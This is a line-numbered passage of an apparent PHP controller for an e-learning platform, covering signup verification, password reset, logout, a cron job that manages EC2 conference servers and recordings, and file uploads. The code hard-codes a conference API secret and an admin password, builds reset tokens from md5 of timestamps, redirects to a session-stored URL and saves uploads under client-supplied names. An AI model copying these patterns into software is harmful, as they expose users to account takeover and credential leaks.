| 546 | //if (!file_exists($dir) and !is_dir($dir))mkdir($dir,0777); | ||
| 547 | |||
| 548 | $newuser->save(); | ||
| 549 | |||
| 550 | //send verifivation link | ||
| 551 | if($status=="Unverified") | ||
| 552 | { | ||
| 553 | try{ | ||
| 554 | Mail::send('emails.welcomeverify', array('verifyurl'=>URL::to("/").'/login?emailverify='.md5(strtotime($newuser->created_at)).'~~~'.$newuser->id), function($message) use ($email) | ||
| 555 | { | ||
| 556 | $message->to($email, $email)->subject("Welcome to ".Config::get("app.name")."!"); | ||
| 557 | }); | ||
| 558 | } | ||
| 559 | catch(Exception $e){return Redirect::to('signup?e=3');} | ||
| 560 | } | ||
| 561 | |||
| 562 | } | ||
| 563 | else return Redirect::to('signup?e=2'); | ||
| 564 | } | ||
| 565 | else return Redirect::to('signup?e=1'); | ||
| 566 | |||
| 567 | |||
| 568 | return $this->do_login(); | ||
| 569 | } | ||
| 570 | public function forgotpassword() | ||
| 571 | { | ||
| 572 | $emailid=Input::get("username"); | ||
| 573 | //send login link | ||
| 574 | if(preg_match("/^[a-zA-Z0-9_.-]*@[a-zA-Z0-9-]*\.[a-zA-Z0-9-.]*$/", $emailid)) | ||
| 575 | { | ||
| 576 | $existinguser=User::where("username","=",$emailid)->first(); | ||
| 577 | if($existinguser) | ||
| 578 | { | ||
| 579 | $existinguser->passwordreset=time(); | ||
| 580 | $existinguser->save(); | ||
| 581 | Mail::send('emails.forgotpassword', array('verifyurl'=>URL::to("/").'/forgotpassword?reset='.md5($existinguser->passwordreset).'~~~'.$existinguser->id), function($message) use ($emailid) | ||
| 582 | { | ||
| 583 | $message->to($emailid, $emailid)->subject(Config::get("app.name")." : Password Reset Mail"); | ||
| 584 | }); | ||
| 585 | } | ||
| 586 | return view('login')->with('error', 'forgotpassword'); | ||
| 587 | } | ||
| 588 | else if(Input::has("reset")) | ||
| 589 | { | ||
| 590 | $verifyparts=explode("~~~",Input::get('reset')); | ||
| 591 | $verifyuser=User::find(intval($verifyparts[1])+0); | ||
| 592 | if($verifyparts[0]==md5($verifyuser->passwordreset)&&$verifyuser->status=="Active") | ||
| 593 | { | ||
| 594 | return view('reset')->with('error', 'changepassword')->with('reset',Input::get("reset")); | ||
| 595 | } | ||
| 596 | else return view('login')->with('error', 'invalid'); | ||
| 597 | } | ||
| 598 | else if(Input::has("resetpassword")) | ||
| 599 | { | ||
| 600 | $password=Input::get("password"); | ||
| 601 | $verifyparts=explode("~~~",Input::get('resetpassword')); | ||
| 602 | $verifyuser=User::find(intval($verifyparts[1])+0); | ||
| 603 | if($verifyparts[0]==md5($verifyuser->passwordreset)&&$verifyuser->status=="Active") | ||
| 604 | { | ||
| 605 | if(time()-$verifyuser->passwordreset>1*60*60)return view('login')->with('error', 'resetexpired'); | ||
| 606 | if(strlen($password)>50||strlen($password)<5)return view('reset')->with('error', 'changepassword')->with('reset',Input::get("resetpassword"))->with('message','passworderror'); | ||
| 607 | else | ||
| 608 | { | ||
| 609 | $verifyuser->password=Hash::make($password); | ||
| 610 | $verifyuser->passwordreset=""; | ||
| 611 | $verifyuser->save(); | ||
| 612 | return view('login')->with('error', 'passwordchanged'); | ||
| 613 | } | ||
| 614 | } | ||
| 615 | } | ||
| 616 | return view('login')->with('error', 'invalid'); | ||
| 617 | } | ||
| 618 | public function logout() | ||
| 619 | { | ||
| 620 | $logouttarget='index'; | ||
| 621 | if(Session::has('userlogouturl')) | ||
| 622 | { | ||
| 623 | if(trim(Session::get('userlogouturl'))!="")$logouttarget=Session::get('userlogouturl'); | ||
| 624 | Session::forget('userlogouturl'); | ||
| 625 | } | ||
| 626 | |||
| 627 | if(Auth::check()) | ||
| 628 | { | ||
| 629 | Session::flush(); | ||
| 630 | Auth::logout(); | ||
| 631 | } | ||
| 632 | return Redirect::to($logouttarget); | ||
| 633 | } | ||
| 634 | |||
| 635 | public function cron() | ||
| 636 | { | ||
| 637 | $reqtime=time(); | ||
| 638 | |||
| 639 | //update running capacity | ||
| 640 | $confservers=ConfServer::where("status","=","Started")->get(); | ||
| 641 | foreach($confservers as $confserver) | ||
| 642 | { | ||
| 643 | //find used capacity | ||
| 644 | $capacityused=0; | ||
| 645 | $runningconfs=LiveConf::where("confserver","=",$confserver->url)->where("status","=",'Running')->get(); | ||
| 646 | foreach($runningconfs as $trconf) | ||
| 647 | { | ||
| 648 | $trdata=json_decode($trconf->data,true); | ||
| 649 | $capacityused+=sizeof($trdata['users']); | ||
| 650 | } | ||
| 651 | //update any changes to the server record | ||
| 652 | if($capacityused!=$confserver->usedcapacity) | ||
| 653 | { | ||
| 654 | $confserver->usedcapacity=$capacityused; | ||
| 655 | $confserver->save(); | ||
| 656 | } | ||
| 657 | } | ||
| 658 | |||
| 659 | //find and run any confs scheduled | ||
| 660 | $this->runConf(); | ||
| 661 | |||
| 662 | //mark completed confs | ||
| 663 | $stopconfs=LiveConf::where("status","=","Running")->where("conftime","<=",date("Y-m-d H:i:s",$reqtime-(15*60)))->get(); | ||
| 664 | if($stopconfs) | ||
| 665 | { | ||
| 666 | foreach($stopconfs as $stopconf) | ||
| 667 | { | ||
| 668 | if($reqtime>(strtotime($stopconf->conftime)+($stopconf->duration*60))) | ||
| 669 | { | ||
| 670 | $stopconf->status="Completing"; | ||
| 671 | $stopconf->save(); | ||
| 672 | } | ||
| 673 | } | ||
| 674 | } | ||
| 675 | |||
| 676 | //60 min buffer time for completing | ||
| 677 | $stopconfs=LiveConf::where("status","=","Completing")->get(); | ||
| 678 | $confservers=array();$serverstop=array(); | ||
| 679 | if($stopconfs) | ||
| 680 | { | ||
| 681 | foreach($stopconfs as $stopconf) | ||
| 682 | { | ||
| 683 | |||
| 684 | |||
| 685 | if($stopconf->recordingurl==""||(($reqtime-(strtotime($stopconf->conftime)+($stopconf->duration*60)))/60)%5==0) | ||
| 686 | { | ||
| 687 | if($stopconf->serverclass=="bbb") | ||
| 688 | { | ||
| 689 | //get recordings urls | ||
| 690 | require_once app_path().'/lib/bbb-api-php/includes/bbb-api.php'; | ||
| 691 | $bbb = new BigBlueButton($stopconf->confserver."/bigbluebutton/","6476FA7A501B11E395A9BE436288709B"); | ||
| 692 | $recordingsParams = array( 'meetingId' => ''.$stopconf->id.'' ); | ||
| 693 | $itsAllGood = true; | ||
| 694 | try {$result = $bbb->getRecordingsWithXmlResponseArray($recordingsParams);} | ||
| 695 | catch (Exception $e) {$itsAllGood = false;} | ||
| 696 | if ($itsAllGood == true) {if($result){if($result['returncode'] == 'SUCCESS'&&$result['messageKey']!="noRecordings"){$stopconf->recordingurl=json_encode($result);$stopconf->save();}}} | ||
| 697 | } | ||
| 698 | if($stopconf->serverclass=="om") | ||
| 699 | { | ||
| 700 | require_once app_path().'/lib/om-api/lib.php'; | ||
| 701 | $stopconf->rdecode(); | ||
| 702 | |||
| 703 | $openmeetings=new OpenMeetings(); | ||
| 704 | $openmeetings->server=$stopconf->confserver; | ||
| 705 | $openmeetings->port="5080"; | ||
| 706 | $openmeetings->appname="openmeetings"; | ||
| 707 | $openmeetings->username="admin"; | ||
| 708 | $openmeetings->password="yb9738z"; | ||
| 709 | |||
| 710 | $openmeetings_gateway = new openmeetings_gateway(); | ||
| 711 | $openmeetings_gateway->setConfig($openmeetings->server,$openmeetings->port,$openmeetings->appname,$openmeetings->username,$openmeetings->password); | ||
| 712 | |||
| 713 | |||
| 714 | if ($openmeetings_gateway->openmeetings_loginuser()) | ||
| 715 | { | ||
| 716 | $result=$openmeetings_gateway->openmeetings_getFlvRecordingByRoomId($stopconf->dataarr["room_id"]); | ||
| 717 | if(!empty($result)) | ||
| 718 | { | ||
| 719 | $filenames=""; | ||
| 720 | if(isset($result[0])&&is_array($result[0])) | ||
| 721 | { | ||
| 722 | foreach($result as $tres) | ||
| 723 | { | ||
| 724 | $fparts=explode(".flv",$tres["fileHash"]); | ||
| 725 | $filenames.=$fparts[0]."|"; | ||
| 726 | } | ||
| 727 | } | ||
| 728 | else | ||
| 729 | { | ||
| 730 | $fparts=explode(".flv",$result["fileHash"]); | ||
| 731 | $filenames.=$fparts[0]."|"; | ||
| 732 | } | ||
| 733 | $res=file_get_contents("http://".$stopconf->confserver."/om_api.php?confid=".$stopconf->id."&filenames=$filenames"); | ||
| 734 | |||
| 735 | $stopconf->recordingurl=json_encode($result);$stopconf->save(); | ||
| 736 | } | ||
| 737 | } | ||
| 738 | } | ||
| 739 | if($stopconf->serverclass=="html5") | ||
| 740 | { | ||
| 741 | $finalreclog=""; | ||
| 742 | $kfile=new KFileLib(); | ||
| 743 | $recUrl="http://".$stopconf->confserver.":3001/tmp/room_".$stopconf->id."/recording.txt"; | ||
| 744 | if($kfile->urlExists($recUrl)&&$stopconf->userid>0) | ||
| 745 | { | ||
| 746 | $recordinglog=file_get_contents($recUrl); | ||
| 747 | //save file | ||
| 748 | $recarr=explode("\n",$recordinglog); | ||
| 749 | foreach($recarr as $recline) | ||
| 750 | { | ||
| 751 | $recobj=json_decode($recline,true); | ||
| 752 | if($recobj['mtype']=="wbMM") | ||
| 753 | { | ||
| 754 | $msgvars=explode("|",$recobj['msg']); | ||
| 755 | foreach($msgvars as $msgline) | ||
| 756 | { | ||
| 757 | if(trim($msgline)!="") | ||
| 758 | { | ||
| 759 | $msgparts=explode("~",$msgline); | ||
| 760 | if(isset($msgparts[0])&&$msgparts[0]=="GL") | ||
| 761 | { | ||
| 762 | if(isset($msgparts[1])) | ||
| 763 | { | ||
| 764 | if($kfile->urlExists($msgparts[1])) | ||
| 765 | { | ||
| 766 | $tmpfile=file_get_contents($msgparts[1]); | ||
| 767 | |||
| 768 | $path=explode("?",$msgparts[1]); | ||
| 769 | $remotefilename=basename($path[0]); | ||
| 770 | |||
| 771 | $kfile->saveFileToDiskString($stopconf->userid."/recording/html5/".$stopconf->id."/".$remotefilename,$tmpfile,"",$stopconf->userid); | ||
| 772 | } | ||
| 773 | $recline=str_replace($msgparts[1],url('/userfiles').'/'.$stopconf->userid."/recording/html5/".$stopconf->id."/".$remotefilename,$recline); | ||
| 774 | } | ||
| 775 | } | ||
| 776 | } | ||
| 777 | } | ||
| 778 | } | ||
| 779 | if($recobj['mtype']=="rec") | ||
| 780 | { | ||
| 781 | $recurl2="http://".$stopconf->confserver.":3001/tmp/".$recobj['recid'].".mkv"; | ||
| 782 | if($kfile->urlExists($recurl2)) | ||
| 783 | { | ||
| 784 | $tmpfile=file_get_contents($recurl2); | ||
| 785 | $kfile->saveFileToDiskString($stopconf->userid."/recording/html5/".$stopconf->id."/".$recobj['recid'].".mkv",$tmpfile,"video/mkv",$stopconf->userid); | ||
| 786 | } | ||
| 787 | } | ||
| 788 | $finalreclog.="$recline\n"; | ||
| 789 | } | ||
| 790 | $kfile->saveFileToDiskString($stopconf->userid."/recording/html5/".$stopconf->id."/recording.txt",$finalreclog,"text/plain",$stopconf->userid); | ||
| 791 | |||
| 792 | $stopconf->recordingurl=json_encode(array('url'=>url('/userfiles')."/".$stopconf->userid."/recording/html5/".$stopconf->id));$stopconf->save(); | ||
| 793 | } | ||
| 794 | } | ||
| 795 | } | ||
| 796 | |||
| 797 | |||
| 798 | |||
| 799 | if($reqtime>(strtotime($stopconf->conftime)+($stopconf->duration*60)+(30*60)))//stop after 30 min of inactivity | ||
| 800 | { | ||
| 801 | $confservers[]=$stopconf->confserver; | ||
| 802 | |||
| 803 | $stopconf->status="Completed"; | ||
| 804 | $stopconf->save(); | ||
| 805 | } | ||
| 806 | } | ||
| 807 | } | ||
| 808 | |||
| 809 | //mark servers free if all confs are completed | ||
| 810 | foreach($confservers as $confserver) | ||
| 811 | { | ||
| 812 | $freeserver=LiveConf::whereIn("status",array("Running","Completing","Ready"))->where("confserver","=",$confserver)->count(); | ||
| 813 | if($freeserver==0) | ||
| 814 | { | ||
| 815 | $serverstop[]=$confserver; | ||
| 816 | } | ||
| 817 | } | ||
| 818 | |||
| 819 | |||
| 820 | //stop servers after buffer time | ||
| 821 | if(!empty($serverstop)) | ||
| 822 | { | ||
| 823 | |||
| 824 | $config = array(); | ||
| 825 | $config['region'] = Config::get("filesystems.disks.s3.region"); | ||
| 826 | $config['version'] = 'latest'; | ||
| 827 | $config['credentials']=array('key' => Config::get("filesystems.disks.s3.key"), 'secret' => Config::get("filesystems.disks.s3.secret")); | ||
| 828 | $ec2Client = Ec2Client::factory($config); | ||
| 829 | |||
| 830 | |||
| 831 | foreach($serverstop as $tserver) | ||
| 832 | { | ||
| 833 | $serverobj=ConfServer::where("url","=",$tserver)->where("status","=","Started")->first(); | ||
| 834 | if($serverobj) | ||
| 835 | { | ||
| 836 | $serverobj->status="Stopping"; | ||
| 837 | $serverobj->save(); | ||
| 838 | $result = $ec2Client->stopInstances(array('InstanceIds' => array($serverobj->serverid),'Force' => true,)); | ||
| 839 | } | ||
| 840 | } | ||
| 841 | } | ||
| 842 | |||
| 843 | return Response::make("Done",200); | ||
| 844 | } | ||
| 845 | private function runConf() | ||
| 846 | { | ||
| 847 | $reqtime=time(); | ||
| 848 | |||
| 849 | //start confs, start a server if needed //TODO get all and loop | ||
| 850 | $conftorun=LiveConf::where("conftime",">=",date("Y-m-d H:i:s",$reqtime-(20*60)))->where("conftime","<=",date("Y-m-d H:i:s",$reqtime+(5*60)))->where("status","=","Scheduled")->first(); | ||
| 851 | if($conftorun) | ||
| 852 | { | ||
| 853 | $conftorun->status="StartWait"; | ||
| 854 | $conftorun->save(); | ||
| 855 | |||
| 856 | $foundserver="";$url=""; | ||
| 857 | $confservers=ConfServer::where("status","=","Started")->where("serverclass","=",$conftorun->serverclass)->get();//server class match | ||
| 858 | foreach($confservers as $confserver) | ||
| 859 | { | ||
| 860 | //NOTE assuming before this we have run the code to calculate capacity of running servers | ||
| 861 | if($confserver->usedcapacity < $confserver->capacity) | ||
| 862 | { | ||
| 863 | $foundserver=$confserver->serverid; | ||
| 864 | $url=$confserver->url; | ||
| 865 | break; | ||
| 866 | } | ||
| 867 | } | ||
| 868 | |||
| 869 | if($foundserver=="") | ||
| 870 | { | ||
| 871 | $newserver=ConfServer::where("status","=","Stopped")->where("serverclass","=",$conftorun->serverclass)->first();//server class match | ||
| 872 | if($newserver) | ||
| 873 | { | ||
| 874 | $newserver->status="Starting"; | ||
| 875 | $newserver->save(); | ||
| 876 | |||
| 877 | $config = array(); | ||
| 878 | $config['region'] = Config::get("filesystems.disks.s3.region"); | ||
| 879 | $config['version'] = 'latest'; | ||
| 880 | $config['credentials']=array('key' => Config::get("filesystems.disks.s3.key"), 'secret' => Config::get("filesystems.disks.s3.secret")); | ||
| 881 | $ec2Client = Ec2Client::factory($config); | ||
| 882 | |||
| 883 | $result = $ec2Client->startInstances(array('InstanceIds' => array($newserver->serverid)))->toArray(); | ||
| 884 | |||
| 885 | $desc = $ec2Client->describeInstances(array('InstanceIds' => array($newserver->serverid)))->toArray(); | ||
| 886 | |||
| 887 | if(isset($desc["Reservations"])&&isset($desc["Reservations"][0])&&isset($desc["Reservations"][0]["Instances"])&&isset($desc["Reservations"][0]["Instances"][0])&&isset($desc["Reservations"][0]["Instances"][0]["PublicDnsName"])) | ||
| 888 | { | ||
| 889 | //$url=$desc["Reservations"][0]["Instances"][0]["PublicDnsName"]; | ||
| 890 | $url=$newserver->tagname.".".Config::get("app.html5conf_domain"); | ||
| 891 | } | ||
| 892 | if(empty($url))$url=""; | ||
| 893 | |||
| 894 | $newserver->status="Started"; | ||
| 895 | $newserver->data=json_encode($result); | ||
| 896 | $newserver->url=$url; | ||
| 897 | $newserver->save(); | ||
| 898 | |||
| 899 | $foundserver=$newserver->serverid; | ||
| 900 | } | ||
| 901 | } | ||
| 902 | |||
| 903 | if($foundserver!="") | ||
| 904 | { | ||
| 905 | $status="Ready"; | ||
| 906 | if($url=="") | ||
| 907 | { | ||
| 908 | $url=$foundserver; | ||
| 909 | $status="WaitingURL"; | ||
| 910 | } | ||
| 911 | $conftorun->confserver=$url; | ||
| 912 | $conftorun->status=$status; | ||
| 913 | $conftorun->save(); | ||
| 914 | } | ||
| 915 | else | ||
| 916 | { | ||
| 917 | //couldnt find any server, revert to not running | ||
| 918 | $conftorun->status="Scheduled"; | ||
| 919 | $conftorun->save(); | ||
| 920 | } | ||
| 921 | } | ||
| 922 | |||
| 923 | //reload the urls if it is empty for running servers | ||
| 924 | $checkserver=ConfServer::where("status","=","Started")->where("url","=","")->first(); | ||
| 925 | if($checkserver) | ||
| 926 | { | ||
| 927 | $config = array(); | ||
| 928 | $config['region'] = Config::get("filesystems.disks.s3.region"); | ||
| 929 | $config['version'] = 'latest'; | ||
| 930 | $config['credentials']=array('key' => Config::get("filesystems.disks.s3.key"), 'secret' => Config::get("filesystems.disks.s3.secret")); | ||
| 931 | $ec2Client = Ec2Client::factory($config); | ||
| 932 | |||
| 933 | |||
| 934 | $desc = $ec2Client->describeInstances(array('InstanceIds' => array($checkserver->serverid)))->toArray(); | ||
| 935 | $url=""; | ||
| 936 | if(isset($desc["Reservations"])&&isset($desc["Reservations"][0])&&isset($desc["Reservations"][0]["Instances"])&&isset($desc["Reservations"][0]["Instances"][0])&&isset($desc["Reservations"][0]["Instances"][0]["PublicDnsName"])) | ||
| 937 | { | ||
| 938 | $url=$desc["Reservations"][0]["Instances"][0]["PublicDnsName"]; | ||
| 939 | } | ||
| 940 | if(!empty($url)) | ||
| 941 | { | ||
| 942 | $checkserver->url=$url; | ||
| 943 | $checkserver->save(); | ||
| 944 | |||
| 945 | |||
| 946 | $waitingconfs=LiveConf::where("confserver","=",$checkserver->serverid)->get(); | ||
| 947 | foreach($waitingconfs as $tconf) | ||
| 948 | { | ||
| 949 | $tconf->confserver=$url; | ||
| 950 | $tconf->status="Ready"; | ||
| 951 | $tconf->save(); | ||
| 952 | } | ||
| 953 | } | ||
| 954 | } | ||
| 955 | |||
| 956 | //recheck status of stopping servers and mark them stopped //TODO do for all | ||
| 957 | $checkstopping=ConfServer::where("status","=","Stopping")->first(); | ||
| 958 | if($checkstopping) | ||
| 959 | { | ||
| 960 | |||
| 961 | $config = array(); | ||
| 962 | $config['region'] = Config::get("filesystems.disks.s3.region"); | ||
| 963 | $config['version'] = 'latest'; | ||
| 964 | $config['credentials']=array('key' => Config::get("filesystems.disks.s3.key"), 'secret' => Config::get("filesystems.disks.s3.secret")); | ||
| 965 | $ec2Client = Ec2Client::factory($config); | ||
| 966 | |||
| 967 | |||
| 968 | $desc = $ec2Client->describeInstances(array('InstanceIds' => array($checkstopping->serverid)))->toArray(); | ||
| 969 | |||
| 970 | if(isset($desc["Reservations"])&&isset($desc["Reservations"][0])&&isset($desc["Reservations"][0]["Instances"])&&isset($desc["Reservations"][0]["Instances"][0])) | ||
| 971 | { | ||
| 972 | if($desc["Reservations"][0]["Instances"][0]["State"]["Name"]=="stopped") | ||
| 973 | { | ||
| 974 | $checkstopping->url=""; | ||
| 975 | $checkstopping->status="Stopped"; | ||
| 976 | $checkstopping->save(); | ||
| 977 | } | ||
| 978 | } | ||
| 979 | } | ||
| 980 | |||
| 981 | //run the ready confs on the exact time of scheduling | ||
| 982 | $readyconfs=LiveConf::where("conftime",">=",date("Y-m-d H:i:s",$reqtime-(20*60)))->where("conftime","<=",date("Y-m-d H:i:s",$reqtime+(1*60)))->where("status","=","Ready")->get(); | ||
| 983 | if($readyconfs) | ||
| 984 | { | ||
| 985 | require_once app_path().'/lib/bbb-api-php/includes/bbb-api.php'; | ||
| 986 | require_once app_path().'/lib/om-api/lib.php'; | ||
| 987 | |||
| 988 | foreach($readyconfs as $readyconf) | ||
| 989 | { | ||
| 990 | $readyconf->rdecode(); | ||
| 991 | if($readyconf->serverclass=="bbb") | ||
| 992 | { | ||
| 993 | $bbb = new BigBlueButton($readyconf->confserver."/bigbluebutton/","6476FA7A501B11E395A9BE436288709B"); | ||
| 994 | //start the bbb conference, set to running only if success | ||
| 995 | //$data=json_decode($readyconf->data,true); //may be for passwords? | ||
| 996 | |||
| 997 | $creationParams = array( | ||
| 998 | 'meetingId' => $readyconf->id, // REQUIRED | ||
| 999 | 'meetingName' => $readyconf->confname, // REQUIRED | ||
| 1000 | 'attendeePw' => 'ap', // Match this value in getJoinMeetingURL() to join as attendee. | ||
| 1001 | 'moderatorPw' => 'mp', // Match this value in getJoinMeetingURL() to join as moderator. | ||
| 1002 | 'welcomeMsg' => 'Welcome! This conference will automatically stop after '.$readyconf->duration." mins", // ''= use default. Change to customize. | ||
| 1003 | 'dialNumber' => '', // The main number to call into. Optional. | ||
| 1004 | 'voiceBridge' => '12345', // 5 digit PIN to join voice. Required. | ||
| 1005 | 'webVoice' => '', // Alphanumeric to join voice. Optional. | ||
| 1006 | 'logoutUrl' => 'about:blank', // Default in bigbluebutton.properties. Optional. | ||
| 1007 | 'maxParticipants' => '-1', // Optional. -1 = unlimitted. Not supported in BBB. [number] | ||
| 1008 | 'record' => 'true', // New. 'true' will tell BBB to record the meeting. | ||
| 1009 | 'duration' => ($readyconf->duration+5), // Default = 0 which means no set duration in minutes. [number] | ||
| 1010 | //'meta_category' => '', // Use to pass additional info to BBB server. See API docs. | ||
| 1011 | ); | ||
| 1012 | $success = true;$result=null; | ||
| 1013 | try {$result = $bbb->createMeetingWithXmlResponseArray($creationParams);} | ||
| 1014 | catch (Exception $e) { | ||
| 1015 | echo 'Caught exception: ', $e->getMessage(), "\n"; | ||
| 1016 | $success = false; | ||
| 1017 | echo "Error4"; | ||
| 1018 | } | ||
| 1019 | |||
| 1020 | if ($success == true) { | ||
| 1021 | // If it's all good, then we've interfaced with our BBB php api OK: | ||
| 1022 | if ($result == null) { | ||
| 1023 | // If we get a null response, then we're not getting any XML back from BBB. | ||
| 1024 | //echo "Failed to get any response. Maybe we can't contact the BBB server."; | ||
| 1025 | $success=false; | ||
| 1026 | echo "Error3"; | ||
| 1027 | } | ||
| 1028 | else { | ||
| 1029 | // We got an XML response, so let's see what it says: | ||
| 1030 | //print_r($result); | ||
| 1031 | if ($result['returncode'] == 'SUCCESS') { | ||
| 1032 | // Then do stuff ... | ||
| 1033 | //echo "<p>Meeting succesfullly created.</p>"; | ||
| 1034 | } | ||
| 1035 | else { | ||
| 1036 | //echo "<p>Meeting creation failed.</p>"; | ||
| 1037 | $success=false; | ||
| 1038 | echo "Error2"; | ||
| 1039 | } | ||
| 1040 | } | ||
| 1041 | } | ||
| 1042 | |||
| 1043 | |||
| 1044 | if ($success == true) | ||
| 1045 | { | ||
| 1046 | $readyconf->status="Running"; | ||
| 1047 | $readyconf->save(); | ||
| 1048 | } | ||
| 1049 | else | ||
| 1050 | { | ||
| 1051 | echo "Error1"; | ||
| 1052 | } | ||
| 1053 | } | ||
| 1054 | if($readyconf->serverclass=="om") | ||
| 1055 | { | ||
| 1056 | //create conf on server get URL | ||
| 1057 | $openmeetings=new OpenMeetings(); | ||
| 1058 | $openmeetings->server=$readyconf->confserver; | ||
| 1059 | $openmeetings->port="5080"; | ||
| 1060 | $openmeetings->appname="openmeetings"; | ||
| 1061 | $openmeetings->username="admin"; | ||
| 1062 | $openmeetings->password="yb9738z"; | ||
| 1063 | |||
| 1064 | $openmeetings->allow_recording=1; | ||
| 1065 | $openmeetings->is_moderated_room=1; | ||
| 1066 | $openmeetings->type=3;//new type of room (1 = Conference, 2 = Audience, 3 = Restricted, 4 = Interview) | ||
| 1067 | $openmeetings->room_id=0; //we will get this | ||
| 1068 | $openmeetings->room_recording_id="8888";//TODO fix this | ||
| 1069 | $openmeetings->modulekey="Kstych"; | ||
| 1070 | $openmeetings->language="1"; | ||
| 1071 | $openmeetings->wwwroot=""; | ||
| 1072 | |||
| 1073 | $openmeetings->course=""; | ||
| 1074 | $openmeetings->name=$readyconf->confname; | ||
| 1075 | |||
| 1076 | $openmeetings->max_user=30; | ||
| 1077 | |||
| 1078 | |||
| 1079 | $openmeetings_gateway = new openmeetings_gateway(); | ||
| 1080 | $openmeetings_gateway->setConfig($openmeetings->server,$openmeetings->port,$openmeetings->appname,$openmeetings->username,$openmeetings->password); | ||
| 1081 | if ($openmeetings_gateway->openmeetings_loginuser()) | ||
| 1082 | { | ||
| 1083 | $openmeetings=openmeetings_add_instance($openmeetings); | ||
| 1084 | |||
| 1085 | if ($openmeetings->room_id>0) | ||
| 1086 | { | ||
| 1087 | $readyconf->dataarr["room_id"]=$openmeetings->room_id; | ||
| 1088 | $readyconf->status="Running"; | ||
| 1089 | $readyconf->save(); | ||
| 1090 | } | ||
| 1091 | else | ||
| 1092 | { | ||
| 1093 | echo "Error1_2"; | ||
| 1094 | } | ||
| 1095 | |||
| 1096 | } | ||
| 1097 | else | ||
| 1098 | { | ||
| 1099 | echo "Error1_1"; | ||
| 1100 | } | ||
| 1101 | } | ||
| 1102 | if($readyconf->serverclass=="html5") | ||
| 1103 | { | ||
| 1104 | //TODO | ||
| 1105 | $readyconf->dataarr["room_id"]=""; | ||
| 1106 | $readyconf->status="Running"; | ||
| 1107 | $readyconf->save(); | ||
| 1108 | } | ||
| 1109 | |||
| 1110 | //notify users of the conf | ||
| 1111 | $noty=new KPushNotify(); | ||
| 1112 | $usrids=array_merge(array($readyconf->userid),$readyconf->dataarr['users']); | ||
| 1113 | //$shareurl=Config::get("app.protocol").Config::get("app.domain")."/web/conflink?id=".Crypt::encrypt($readyconf->id); | ||
| 1114 | $shareurl=Config::get("app.protocol").Config::get("app.domain"); | ||
| 1115 | //$res=$noty->send($usrids,"liveconf",$readyconf->confname," <a href='$shareurl'>Conference is now Running. Click Here to go to Live Conference</a>",""); | ||
| 1116 | $res=$noty->send($usrids,"liveconf",$readyconf->confname,"<a href=\"#\" onclick=\"doAjax('tutor/joinconf?confid=".$readyconf->id."','','content','ajax_liveconf_create','singlethis','GET');\">Conference is now Running. Click Here to go to Live Conference</a>",""); | ||
| 1117 | |||
| 1118 | //email conf users except dummyconf | ||
| 1119 | if($readyconf->userid>0) | ||
| 1120 | { | ||
| 1121 | |||
| 1122 | $querystr="m=0&rid=".$readyconf->id."&uid=".$readyconf->userid."&ua=WebUser"; | ||
| 1123 | $cryptstr=Crypt::encrypt($querystr); | ||
| 1124 | $externalURL="https://".$readyconf->confserver."/app/?".$querystr."&tauth=".$cryptstr; | ||
| 1125 | |||
| 1126 | if(!isset($readyconf->dataarr['emailinvites']))$readyconf->dataarr['emailinvites']=array(); | ||
| 1127 | $usrlist=User::whereIn('id',$usrids)->take(200)->get(); | ||
| 1128 | Mail::send('emails.notification', array('heloname'=>'','line1'=>'Your Conference : ['.$readyconf->confname.'] is now running','line2'=>'Please visit <a href="'.$externalURL.'"><b>'.Config::get("app.name").' Conference Link</b></a> and You can connect to the conference.','line3'=>'Conference Duration : '.$readyconf->duration." min",'notifytype'=>'ConfRun'), function($message) use ($usrlist,$readyconf) | ||
| 1129 | { | ||
| 1130 | foreach($usrlist as $tuser)if($tuser&&$tuser->email!='')$message->to($tuser->email, $tuser->email); | ||
| 1131 | foreach($readyconf->dataarr['emailinvites'] as $mailinvite)if(trim($mailinvite)!="")$message->to($mailinvite, $mailinvite); | ||
| 1132 | $message->bcc(Config::get("app.email"),Config::get("app.email")); | ||
| 1133 | $message->subject(Config::get("app.name")." Conference is now Running"); | ||
| 1134 | }); | ||
| 1135 | } | ||
| 1136 | } | ||
| 1137 | } | ||
| 1138 | |||
| 1139 | } | ||
| 1140 | |||
| 1141 | function idleapp() | ||
| 1142 | { | ||
| 1143 | $data=array(); | ||
| 1144 | return view("idleapp",$data); | ||
| 1145 | } | ||
| 1146 | |||
| 1147 | public function fileupload() | ||
| 1148 | { | ||
| 1149 | if(Input::has("listckfiles"))return $this->cklistfiles(); | ||
| 1150 | if(Input::has("CKEditor"))return $this->ckfileupload(); | ||
| 1151 | if(Input::has("communitylogoupload"))return $this->communitylogoupload(); | ||
| 1152 | if(Input::has("mtype")&&Input::get("mtype")=="videopackage")return $this->authorVideoPackageUpload(); | ||
| 1153 | if(Input::has("utype")&&Input::get("utype")=="authorvideo")return $this->authorVideoUpload();//duplicate? | ||
| 1154 | if(Input::has("authorattach"))return $this->authorAttachFile(); | ||
| 1155 | |||
| 1156 | $file = Input::file('file'); | ||
| 1157 | $origname = $file->getClientOriginalName(); | ||
| 1158 | $ext = $file->getClientOriginalExtension(); | ||
| 1159 | $size = $file->getSize(); | ||
| 1160 | |||
| 1161 | $kfile=new KFileLib(); | ||
| 1162 | |||
| 1163 | Session::forget('lastuploadedfile'); | ||
| 1164 | Session::forget('lastuploadedfileext'); | ||
| 1165 | Session::forget('lastuploadedfilesize'); | ||
| 1166 | if($size>10&&$size<100*1024*1024) | ||
| 1167 | { | ||
| 1168 | $filename=$origname; | ||
| 1169 | if(Input::has("contextcourse"))$filename=Input::get("contextcourse").".".$ext; | ||
| 1170 | |||
| 1171 | $kfile->saveFileToDisk(Auth::user()->id."/contentfiles/$filename",$file->getRealPath(),$file->getMimeType()); | ||
| 1172 | |||
| 1173 | Session::put('lastuploadedfile', $filename); | ||
| 1174 | Session::put('lastuploadedfileext', $ext); | ||
| 1175 | Session::put('lastuploadedfilesize', $size); | ||
| 1176 | } | ||
| 1177 | |||
| 1178 | return Response::make(";;",200); | ||
| 1179 | } | ||
| 1180 | public function ckfileupload() | ||
| 1181 | { | ||
| 1182 | $CKEditor = Input::get('CKEditor'); | ||
| 1183 | $funcNum = Input::get('CKEditorFuncNum'); | ||
| 1184 | $langCode = Input::get('langCode'); | ||
| 1185 | |||
| 1186 | $url = url('/userfiles').'/'.Auth::user()->id."/ckeditor/" ; | ||
| 1187 | $message = 'Failed to upload'; | ||
| 1188 | |||
| 1189 | $file = Input::file('upload'); | ||
| 1190 | $origname = $file->getClientOriginalName(); | ||
| 1191 | $ext = $file->getClientOriginalExtension(); | ||
| 1192 | $size = $file->getSize(); | ||
